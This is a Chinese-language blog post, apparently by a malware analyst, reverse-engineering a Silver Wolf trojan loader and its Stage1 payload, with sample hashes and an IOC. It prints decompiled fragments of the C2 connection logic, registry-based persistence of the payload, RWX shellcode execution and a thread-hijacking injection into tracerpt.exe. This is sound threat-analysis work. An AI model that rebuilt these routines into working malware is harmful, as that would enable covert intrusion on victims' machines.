Skip to content
She11code Blog
Go back

银狐木马样本分析

Edit page

本文对银狐(Silver Wolf)木马样本进行逆向分析,涵盖从 Loader 到 Stage1 的完整攻击链,包括 C2 通信机制和后渗透功能的实现细节。

Table of contents

Open Table of contents

简介

银狐团伙是一个主要针对企业财务人员政务系统的 APT 组织。其木马交付流程通常为:

源头下发木马 → 多渠道分发 → 定制免杀 Loader

免杀服务通常采用按天计费模式,根据木马在目标系统的存活时间收费,这也反映出该团伙的商业化运营特征。


Loader 分析

样本信息

属性
Loader Hashfa755134d9c9796b2f58fd61aeb0ef12121da6afaa1943f05334d332992cdff5
Winexe Hashc4c5bcc5fb3fa34759e650e632c70907f0a6418d8978b5d1796fc23b719b98bc
Shellcode Hash077de545481a47fc159078329287620048f396686d6bdf8d0049b2d0cd1cc613

沙箱检测结果

VT 检测:该 Loader 样本被多个杀软引擎标记,检测率较高。

Loader 的操作因人而异,核心在于找到其加载的内存 shellcode。

VT 关联分析:VT 显示该 Loader 拖取了一个 Winexe 文件,hash 为 c4c5bcc5fb3fa34759e650e632c70907f0a6418d8978b5d1796fc23b719b98bc

微步沙箱:沙箱运行日志显示该样本加载了内存 shellcode,hash 为 077de545481a47fc159078329287620048f396686d6bdf8d0049b2d0cd1cc613

关联确认:通过 hash 关联分析,可以确认 shellcode 文件与 VT 的 Winexe 文件存在直接关联关系。

结论:可以直接分析 Winexe 文件 c4c5bcc5fb3fa34759e650e632c70907f0a6418d8978b5d1796fc23b719b98bc


银狐 Stage1 分析

之所以称之为 Stage1,是因为发现的后渗透功能相对有限,与网上流传的截图存在差异,推测这只是初始阶段。

主函数分析

主函数的执行流程:

  1. 设置异常处理过滤器
  2. 隐藏控制台窗口
  3. 读取并解密配置文件(C2 URL、通信参数等)
  4. 创建工作线程执行核心逻辑
__int64 wmain()
{
  HWND ConsoleWindow; // rax
  DWORD CurrentThreadId; // eax

  SetUnhandledExceptionFilter(TopLevelExceptionFilter);
  ConsoleWindow = GetConsoleWindow();
  ShowWindow(ConsoleWindow, 0);  // 隐藏窗口
  CurrentThreadId = GetCurrentThreadId();
  PostThreadMessageA(CurrentThreadId, 0, 0i64, 0i64);
  GetInputState();
  SetConfig();  // 初始化配置
  hObject = CreateThread(0i64, 0i64, StartAddress, 0i64, 0, 0i64);
  WaitForSingleObject(hObject, 0xFFFFFFFF);
  CloseHandle(hObject);
  Sleep(0x12Cu);
  return 0i64;
}

主循环分析

StartAddress 函数是主循环的核心,负责网络通信初始化和 C2 连接。

Socket 初始化

// 初始化 TCP Socket (0xB8 = 184 bytes)
pTcpSocket = CTcpSocket::Initialize(operator new(0xB8));

// 初始化 UDP Socket (0x368 = 872 bytes)
pUdpSocket = CUdpSocket::Initialize(operator new(0x368));

C2 配置切换

样本内置了两组 C2 配置,通过标志位切换:

if ( byte_1400217EE )
{
    // 配置组 A
    wcscpy_s(&Destination, 0xFF, &word_1400224AC);      // IP地址1
    wcscpy_s(&word_1400215B0, 0x1E, &word_1400226AA);  // 端口1
    IsTcpSocket = flag1;
}
else
{
    // 配置组 B
    wcscpy_s(&Destination, 0xFF, &Source);             // IP地址2
    wcscpy_s(&word_1400215B0, 0x1E, &word_14002246C);  // 端口2
    IsTcpSocket = flag2;
}

byte_1400217EE = !byte_1400217EE;  // 翻转切换标志

协议选择与连接

// 根据 IsTcpSocket 标志选择协议
v2 = pUdpSocket;
if ( IsTcpSocket == 1 )
    v2 = pTcpSocket;  // 使用 TCP
else
    v2 = pUdpSocket;  // 使用 UDP

Sleep(1000 * wcstoxl(config2));  // 连接前延迟

// 连接到 C2 服务器
if ( vftable[4](v2, &Destination, wcstoxl(&word_1400215B0)) )
{
    // 创建 Manager 处理通信
    v12[0] = (__int64)&CManager::`vftable';
    v12[1] = v2;
    (*(_QWORD *)v2 + 24)(v2, v12);  // 注册回调

    // 初始化 KernelManager
    v12[0] = (__int64)&CKernelManager::`vftable';
    (*(_QWORD *)v2 + 16)(v2, &v17, 2);

    WaitForSingleObject(hHandle, INFINITE);
}

CTcpSocket 类分析

初始化函数

__int64 __fastcall CTcpSocket::Initialize(__int64 pSocket)
{
  struct WSAData WSAData;

  *(_QWORD *)(pSocket + 16) = 0i64;
  *(_DWORD *)(pSocket + 24) = 0;
  *(_QWORD *)pSocket = &CTcpSocket::`vftable';
  // ... 省略成员初始化 ...
  WSAStartup(0x202u, &WSAData);
  *(_QWORD *)(pSocket + 8) = CreateEventW(0i64, 1, 0, 0i64);
  _InterlockedExchange((volatile __int32 *)(pSocket + 32), 0);
  return pSocket;
}

虚函数表

.rdata:000000014001A978 ; const CTcpSocket::`vftable'
.rdata:000000014001A978 ??_7CTcpSocket@@6B@ dq offset sub_140003310
.rdata:000000014001A980                 dq offset sub_140005A30
.rdata:000000014001A988                 dq offset sub_140003860
.rdata:000000014001A990                 dq offset ?swfun@std@@YAXAEAVios_base@1@_J@Z
.rdata:000000014001A998                 dq offset Connect      // vftable[4]
.rdata:000000014001A9A0                 dq offset sub_140003C10

vftable[4] 对应 Connect 函数。

Connect 函数

char __fastcall Connect(char *ArgList, LPCWCH lpWideCharStr, u_short a3)
{
  // ... 省略变量声明 ...

  ResetEvent(*((HANDLE *)ArgList + 1));
  _InterlockedExchange((volatile __int32 *)ArgList + 8, 0);
  *((_DWORD *)ArgList + 7) = timeGetTime();

  // 创建 TCP Socket
  v6 = socket(2, 1, 6);  // AF_INET, SOCK_STREAM, TCP
  *((_QWORD *)ArgList + 22) = v6;
  if ( v6 == -1i64 )
    return 0;

  // DNS 解析
  v13 = gethostbyname(lpMultiByteStr);
  if ( !v13 )
    return 0;

  // 建立 TCP 连接
  name.sa_family = 2;
  *(_WORD *)name.sa_data = htons(a3);
  *(_DWORD *)&name.sa_data[2] = **(_DWORD **)v13->h_addr_list;
  if ( connect(v14, &name, 16) == -1 )
    return 0;

  // 设置 Socket 选项
  setsockopt(v15, 0xFFFF, 4097, optval, 4);  // SO_RCVBUF
  setsockopt(v16, 0xFFFF, 4098, optval, 4);  // SO_SNDBUF
  setsockopt(v17, 0xFFFF, 4102, v23, 4);     // SO_RCVTIMEO

  // 创建接收/发送线程
  *((_QWORD *)ArgList + 20) = beginthreadex(0i64, 0, sub_140003690, ArgList, 0, &ThrdAddr);
  *((_QWORD *)ArgList + 21) = beginthreadex(0i64, 0, sub_1400037E0, ArgList, 0, &v25);
  return 1;
}

任务下发函数

sub_140006860 是核心的任务分发函数,负责处理 C2 下发的指令。

void __fastcall sub_140006860(_QWORD *ArgList, _BYTE *a2, int a3)
{
  // ... 省略变量声明 ...

  if ( *a2 == 0xC9 )  // 心跳包
    return;

  if ( a3 != 101 )
  {
    // 接收并存储 shellcode
    memmove(&unk_140021800, a2 + 1, 0xA44ui64);
    lpBuffer = VirtualAlloc(0i64, dword_140021A08, 0x3000u, 0x40u);
    memmove((void *)lpBuffer, a2 + 2629, dword_140021A08);

    // 写入注册表持久化
    if ( !RegCreateKeyW(HKEY_CURRENT_USER, L"Console\\1", &cbData) )
    {
      RegDeleteValueW(cbData, L"d33f351a4aeea5e608853d1a56661059");
      RegSetValueExW(cbData, L"d33f351a4aeea5e608853d1a56661059", 0, 3u, v12, v10);
    }
    // ...
  }

  // 从注册表恢复 shellcode
  if ( !RegOpenKeyExW(HKEY_CURRENT_USER, L"Console\\1", 0, 0x20019u, &hKey) )
  {
    RegQueryValueExW(hKey, L"d33f351a4aeea5e608853d1a56661059", ...);
    // ...
  }
  // ...
}
📋 注册表键值说明
键路径键值名称用途
HKEY_CURRENT_USER\Console\1d33f351a4aeea5e608853d1a56661059存储加密的 shellcode 和配置

该键值会在每次通信后被覆盖更新,实现配置和 payload 的持久化存储。


后渗透功能

1. Shellcode 执行

通过经典的内存分配 API 申请 RWX 内存并执行 shellcode:

RegOpenKeyExW(HKEY_CURRENT_USER, L"Console\\1", 0, 0x20019, &hKey);
RegQueryValueExW(hKey, L"d33f351a4aeea5e608853d1a56661059", ...);

// 恢复到全局变量和可执行内存
memmove(&unk_140021800, v5, 0xA44);
lpBuffer = VirtualAlloc(0, dword_140021A08, 0x3000, 0x40);  // MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE
memmove(lpBuffer, v5 + 2628, dword_140021A08);

2. 远程线程注入

通过进程注入技术,劫持线程上下文执行 shellcode:

BOOL __fastcall sub_140006C80(int a1, __int64 a2)
{
  // ... 省略变量声明 ...

  // 配置启动信息(隐藏窗口)
  StartupInfo.cb = 104;
  StartupInfo.dwFlags = 1;
  StartupInfo.wShowWindow = 0;

  // 获取系统目录
  GetSystemDirectoryA(Buffer, 0xFFu);
  Buffer[3] = 0;
  sub_140006F10(Buffer, "%s%s", Buffer, "Windows\\System32\\tracerpt.exe");

  // 创建傀儡进程
  result = CreateProcessA(Buffer, 0i64, 0i64, 0i64, 0, 4u, 0i64, 0i64, &StartupInfo, (LPPROCESS_INFORMATION)a2);

  if ( result )
  {
    // 在目标进程中分配内存
    v7 = VirtualAllocEx(*(HANDLE *)a2, 0i64, v6, 0x3000u, 0x40u);
    v8 = (DWORD64)v7;

    // 写入 shellcode 并劫持线程
    if ( v7
      && WriteProcessMemory(*(HANDLE *)a2, v7, v2, v6, 0i64)
      && GetThreadContext(*(HANDLE *)(a2 + 8), &Context)
      && (Context.Rip = v8, SetThreadContext(*(HANDLE *)(a2 + 8), &Context)) )
    {
      ResumeThread(*(HANDLE *)(a2 + 8));  // 恢复线程执行
      return 1;
    }
  }
  return result;
}
🔧 进程注入流程
1. CreateProcessA 创建傀儡进程 (tracerpt.exe)
2. VirtualAllocEx 在目标进程分配 RWX 内存
3. WriteProcessMemory 写入 shellcode
4. GetThreadContext 获取线程上下文
5. SetThreadContext 修改 RIP 指向 shellcode
6. ResumeThread 恢复线程执行 shellcode

总结

样本特征

特征描述
目标企业财务人员、政务系统
C2 协议TCP / UDP 双协议支持
持久化注册表存储加密配置
进程注入远程线程劫持

IOC 指标

# 注册表键值
HKEY_CURRENT_USER\Console\1\d33f351a4aeea5e608853d1a56661059

分析结论

该样本作为银狐木马的 Stage1,功能相对精简,主要负责:

  1. C2 通信建立 - 支持 TCP/UDP 双协议
  2. 配置持久化 - 利用注册表存储加密配置
  3. Shellcode 执行 - 内存分配 + 远程注入

考虑到后渗透功能的局限性,推测完整的攻击链需要 Stage2 的进一步下发。


Edit page
Share this post on:

Next Post
How to configure AstroPaper theme